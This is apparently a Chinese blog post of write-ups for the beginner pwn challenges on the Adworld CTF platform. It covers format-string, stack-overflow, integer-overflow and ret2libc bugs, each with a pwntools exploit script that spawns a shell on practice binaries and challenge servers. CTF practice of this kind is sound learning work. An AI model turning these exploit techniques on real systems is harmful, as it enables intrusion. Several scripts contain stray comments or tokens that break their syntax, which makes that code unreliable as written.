不可视境界线最后变动于:2023年4月2日 晚上
pwn: 攻防世界新手区pwn题解 Adworld的新手区水题记录。
1 get shell 没什么好说的。直接remote或者nc连上去就可以了。
2 CGfsb 2.1 checksec
2.2 找漏洞 IDA打开main函数。
可以看出printf(&s);
是明显的格式化字符串漏洞。
IDA mov 从右往左.
pwnme的地址:0x804A068 看清楚, 压入的是format字符串的地址!! .
2.3 脚本 from pwn import * context.log_level = 'debug' payload = p32(0x804A068 ) + 'AAAA%10$n' r = process('./CGfsb' ) r.sendlineafter('name:\n' ,'name' ) r.sendlineafter('please:\n' ,payload) r.interactive()
3 when did you born 3.1 checksec
3.2 找漏洞 IDA64打开。
很明显,第一个输入的数字不能是1926(Excited!)
然后通过gets把他变成1926(Naive!)
3.3 脚本 from pwn import * context.log_level = 'debug' payload = 'AAAAAAAA' + p32(1926 ) r = process('./when_did_you_born' ) r.sendlineafter('Birth?\n' ,'1925' ) r.sendlineafter('Name?\n' ,payload) r.interactive()
4 hello pwn 4.1 checksec
4.2 找漏洞
逻辑很简单,在unk_601068
读入一个值,让dword_60106c
变为1853186401
即可。
4.3 脚本 from pwn import * context.log_level = 'debug' payload = 'AAAA' + p32(1853186401 ) r = process('./hello_pwn' ) r.sendlineafter('bof\n' ,payload) r.interactive()
5 level0 5.1 checksec
5.2 找漏洞
这里好像有个什么东西嘛…
5.3 脚本 pwntools
from pwn import * payload = 'A' *0x88 + p64(0x400596 ) r = remote('111.198.29.45' ,45579 ) r.sendlineafter('World\n' ,payload) r.interactive()
6 level2 6.1 checksec
6.2 找漏洞 system函数!
/bin/sh!
溢出地址0x8c,返回地址填plt的system地址,参数填/bin/sh的地址。奥利给!
ps. 会了才知道为什么洛神会这么简洁…..|ू・ω・` )
6.3 脚本 from pwn import * context.log_level = 'debug' payload = 'A' *0x8c + p32(0x8048320 ) + 'AAAA' + p32(0x804A024 ) r = process("./level2" ) r.sendlineafter('Input:\n' ,payload) r.interactive()
7 guess num 7.1 checksec
7.2 找漏洞 猜数字,先生成了个随机数,然后猜9次。猜对了给flag。
很显然,只要通过get函数把随机种子改成自己想要的就行了。
先写个脚本看看随机种子是0的情况:
写脚本吧。字符串长度为0x30-0x10=0x20。偏移值后面加个0就行。
7.3 脚本 from pwn import * context.log_level = 'debug' l = [2 ,5 ,4 ,2 ,6 ,2 ,5 ,1 ,4 ,2 ] payload = 'A' * 0x20 + p32(0 ) r = process('./guess_num' ) r.sendlineafter('name:' ,payload)for each in l: r.sendlineafter('number:' ,str (each)) r.interactive()
8 int overflow 8.1 checksec
8.2 找漏洞
先进这个函数。
显而易见嘛。(?)
再进check_passwd()
可以看到__int8, 只有0-255, 而且有要求密码长4-8, 所以可以整数溢出的办法, buf长512也够了
8.3 脚本 from pwn import * context.log_level = 'debug' r = remote("111.200.241.244" , 50645 ) payload = b'a' *0x18 + p32(0x0804868B ) + b'a' *232 r.sendlineafter("Your choice:" , '1' ) r.sendlineafter("name:\n" , "f**k" ) r.sendlineafter("passwd:\n" , payload) r.interactive()
9 cgpwn2 9.1 checksec
8.2 找漏洞
溢出点肯定就是gets函数啦。偏移值0x2A。 但是我们需要自己构造system函数的参数,只要把name的值改成那个值就行了。
9.3 脚本 from pwn import * context.log_level = 'debug' payload = 'A' *0x2A ('捏妈的,0x26+0x4能给我算成0x30来?' ) + p32(0x8048420 ) + 'AAAA' ->sys返回地址' + p32(0x804A080)' name的地址' r = process(' ./cgpwn2') r.sendlineafter(' name\n',' /bin /sh') r.sendlineafter(' here:\n',payload) r.interactive()
10 string 10.1 checksec
10.2 找漏洞 代码好长啊。
看看func1。
func2。
没有溢出点。func3。
好啦,溢出点。
很明显,让a1数组的第0位和第1位相等(就是85和68)。
后面那个mmap是内存映射,意思就是填入一个机器码使得直接执行。
10.3 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * context.log_level = 'debug' payload = '%68c%7$n' r = process('./string' ) r.recvuntil('secret[1] is ' ) a = int ('0x' +r.recvline(),base=16 ) r.sendlineafter('name be:\n' , 'user' ) r.sendlineafter('up?:\n' ,'east' ) r.sendlineafter('leave(0)?:\n' ,'1' ) r.sendlineafter("address'\n" ,str (a)) r.sendlineafter('wish is:\n' ,payload) r.sendlineafter('SPELL\n' ,asm(shellcraft.amd64.sh(),arch="amd64" )) r.interactive()
11 level3 11.1 checksec
11.2 找漏洞 开IDA看看,看到有一个read的栈溢出。
只有write和read函数,那只能通过泄露libc的基址来调用system('/bin/sh')
了。
我们可以知道的有:write函数的plt表位置和got表位置。由于在read函数之前已经调用过write函数了,即已经完成了延迟绑定,那么got表中已经记录了write的地址,由于libc的函数偏移值是固定的,则可以获得libc的基址,并得到system函数的实际地址。
11.3 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * aaaa context(os="linux" , arch="amd64" , log_level="debug" ) DEBUG = 0 if DEBUG == 1 : p = process('./level3' )else : p = remote("220.249.52.133" ,56008 ) elf = ELF('./level3' ) libc = ELF('./libc_32.so.6' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = elf.symbols['main' ] payload = b'A' * 0x8c + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.recvuntil('Input:\n' ) p.sendline(payload) write_addr = u32(p.recv(4 )) p.recvuntil('Input:\n' ) write_libc = libc.symbols['write' ] system_addr = (write_addr - write_libc)'''这玩意儿是基址''' + libc.symbols['system' ] binsh_addr = (write_addr - write_libc) + next (libc.search(b'/bin/sh' )) payload = b'A' * 0x8c + p32(system_addr) + p32(main_addr) + p32(binsh_addr) p.sendline(payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context.log_level = 'debug' p = remote('111.200.241.244' , 63933 ) elf = ELF('./level3' ) libc = ELF('./libc_32.so.6' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = elf.symbols['main' ] payload = b'a' *(0x88 +0x4 ) + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.sendlineafter(':\n' , payload) write_addr = u32(p.recv(4 )) write_libc = libc.symbols['write' ] sys_addr = write_addr - write_libc + libc.symbols['system' ] sh_addr = write_addr - write_libc + next (libc.search(b'/bin/sh' )) payload = b'a' *(0x88 +0x4 ) + p32(sys_addr) + b'a' *4 + sh_addr p.sendlineafter(':\n' , payload) p.interactive()